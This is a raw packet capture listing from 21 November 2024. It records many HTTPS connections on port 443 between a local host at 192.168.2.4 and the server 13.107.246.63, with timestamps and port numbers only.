Nov 21, 2024 22:34:11.644613028 CET	49790	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.644620895 CET	443	49790	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.902586937 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.902626038 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.902817965 CET	49787	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.903301001 CET	49787	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.903331995 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.903347015 CET	49787	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.903352976 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.906387091 CET	49792	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.906464100 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.906555891 CET	49792	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.906738997 CET	49792	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.906769991 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.970947981 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.971105099 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.971174955 CET	49789	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.971194029 CET	49789	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.971194029 CET	49789	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.971210957 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.971219063 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.973326921 CET	49793	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.973350048 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.973416090 CET	49793	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.973527908 CET	49793	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.973535061 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.040129900 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.040172100 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.040270090 CET	49788	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.040668964 CET	49788	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.040679932 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.040710926 CET	49788	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.040714979 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.042920113 CET	49794	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.042956114 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.043042898 CET	49794	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.043170929 CET	49794	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.043195963 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.089240074 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.089287996 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.089330912 CET	49791	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.089427948 CET	49791	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.089437962 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.089447021 CET	49791	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.089452028 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.091381073 CET	49795	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.091393948 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.091455936 CET	49795	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.091576099 CET	49795	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.091589928 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.096456051 CET	443	49790	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.096601009 CET	443	49790	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.096674919 CET	49790	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.096704960 CET	49790	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.096710920 CET	443	49790	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.096719027 CET	49790	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.096721888 CET	443	49790	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.098535061 CET	49796	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.098547935 CET	443	49796	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:12.098748922 CET	49796	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.098748922 CET	49796	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:12.098767042 CET	443	49796	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.699109077 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.699790001 CET	49792	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:13.699816942 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.700292110 CET	49792	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:13.700299978 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.824134111 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.824573994 CET	49793	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:13.824592113 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.825066090 CET	49793	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:13.825072050 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.890809059 CET	443	49796	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.891247034 CET	49796	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:13.891258955 CET	443	49796	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.891752958 CET	49796	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:13.891758919 CET	443	49796	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.948713064 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.965524912 CET	49795	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:13.965564966 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:13.966008902 CET	49795	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:13.966015100 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.145036936 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.145103931 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.145154953 CET	49792	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.145350933 CET	49792	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.145374060 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.145389080 CET	49792	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.145395041 CET	443	49792	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.148330927 CET	49797	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.148374081 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.148451090 CET	49797	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.148617029 CET	49797	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.148633003 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.283911943 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.284075975 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.284137964 CET	49793	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.284244061 CET	49793	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.284266949 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.284277916 CET	49793	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.284286022 CET	443	49793	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.295147896 CET	49798	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.295166016 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.295242071 CET	49798	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.295372009 CET	49798	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.295377970 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.327578068 CET	443	49796	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.327722073 CET	443	49796	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.327794075 CET	49796	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.327963114 CET	49796	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.327967882 CET	443	49796	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.329890966 CET	49799	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.329921007 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.329983950 CET	49799	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.330096960 CET	49799	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.330112934 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.394953966 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.394994974 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.395036936 CET	49795	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.395174026 CET	49795	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.395184994 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.395194054 CET	49795	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.395199060 CET	443	49795	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.397346020 CET	49800	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.397430897 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.397519112 CET	49800	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.397605896 CET	49800	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.397628069 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.616244078 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.617072105 CET	49794	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.617094040 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:14.617615938 CET	49794	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:14.617621899 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.060978889 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.061019897 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.061109066 CET	49794	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:15.061319113 CET	49794	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:15.061338902 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.061353922 CET	49794	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:15.061359882 CET	443	49794	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.064639091 CET	49801	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:15.064662933 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.064738035 CET	49801	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:15.064867973 CET	49801	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:15.064877987 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.966104031 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.966636896 CET	49799	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:15.966660976 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:15.967122078 CET	49799	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:15.967133045 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.039048910 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.042896032 CET	49797	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.042916059 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.043351889 CET	49797	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.043356895 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.056555033 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.056901932 CET	49798	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.056917906 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.057282925 CET	49798	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.057287931 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.254201889 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.254570961 CET	49800	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.254623890 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.254961967 CET	49800	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.254976988 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.411192894 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.411358118 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.411495924 CET	49799	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.411588907 CET	49799	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.411604881 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.411642075 CET	49799	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.411647081 CET	443	49799	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.414541960 CET	49802	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.414612055 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.414707899 CET	49802	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.414845943 CET	49802	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.414865971 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.688028097 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.688102961 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.688199997 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.688203096 CET	49797	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.688374043 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.688437939 CET	49798	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.688555956 CET	49797	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.688572884 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.688611984 CET	49797	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.688616037 CET	443	49797	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.716965914 CET	49798	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.716978073 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.716988087 CET	49798	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.716993093 CET	443	49798	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.721209049 CET	49803	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.721227884 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.721299887 CET	49803	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.721924067 CET	49804	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.721956968 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.722012043 CET	49804	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.722078085 CET	49803	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.722089052 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.722160101 CET	49804	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.722176075 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.894810915 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.894851923 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.894920111 CET	49800	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.895124912 CET	49800	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.895124912 CET	49800	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.895168066 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.895195961 CET	443	49800	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.897660971 CET	49805	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.897744894 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:16.897830009 CET	49805	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.897963047 CET	49805	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:16.897999048 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.097764969 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.098340034 CET	49801	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:17.098346949 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.098834991 CET	49801	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:17.098838091 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.543605089 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.543673992 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.543732882 CET	49801	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:17.543932915 CET	49801	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:17.543940067 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.543950081 CET	49801	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:17.543956041 CET	443	49801	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.546989918 CET	49806	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:17.547032118 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:17.547117949 CET	49806	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:17.547288895 CET	49806	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:17.547305107 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.382622957 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.383220911 CET	49802	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.383291960 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.383686066 CET	49802	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.383701086 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.455338955 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.455938101 CET	49804	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.455992937 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.456393957 CET	49804	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.456409931 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.544764996 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.545161963 CET	49803	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.545181990 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.545557022 CET	49803	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.545562029 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.675946951 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.676263094 CET	49805	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.676325083 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.676615953 CET	49805	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.676631927 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.826447010 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.826612949 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.826690912 CET	49802	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.826816082 CET	49802	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.826816082 CET	49802	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.826853037 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.826894045 CET	443	49802	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.829808950 CET	49807	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.829894066 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.830003023 CET	49807	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.830144882 CET	49807	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.830167055 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.890223026 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.890290022 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.890351057 CET	49804	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.890507936 CET	49804	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.890526056 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.890538931 CET	49804	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.890546083 CET	443	49804	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.893110037 CET	49808	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.893142939 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.893234015 CET	49808	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.893349886 CET	49808	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.893363953 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.988204956 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.988352060 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.988413095 CET	49803	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.988452911 CET	49803	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.988461971 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.988475084 CET	49803	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.988481045 CET	443	49803	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.990642071 CET	49809	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.990714073 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:18.990792990 CET	49809	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.990931988 CET	49809	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:18.990973949 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.120460033 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.120512962 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.120589018 CET	49805	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.120743990 CET	49805	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.120743990 CET	49805	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.120785952 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.120812893 CET	443	49805	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.123353004 CET	49810	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.123375893 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.123435020 CET	49810	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.123619080 CET	49810	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.123631001 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.334151983 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.334769011 CET	49806	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.334795952 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.335205078 CET	49806	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.335212946 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.779186010 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.779274940 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.779407978 CET	49806	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.779733896 CET	49806	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.779748917 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.779778004 CET	49806	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.779784918 CET	443	49806	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.783080101 CET	49811	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.783164024 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:19.783268929 CET	49811	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.783466101 CET	49811	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:19.783500910 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.586266041 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.586955070 CET	49807	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:20.586991072 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.587451935 CET	49807	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:20.587457895 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.676490068 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.677021980 CET	49808	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:20.677037001 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.677462101 CET	49808	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:20.677465916 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.710144997 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.710694075 CET	49809	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:20.710755110 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.711086988 CET	49809	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:20.711102009 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.854239941 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.856322050 CET	49810	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:20.856343985 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:20.856775999 CET	49810	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:20.856781006 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.020123005 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.020284891 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.020363092 CET	49807	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.020684004 CET	49807	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.020684004 CET	49807	443	192.168.2.4	13.107.246.63
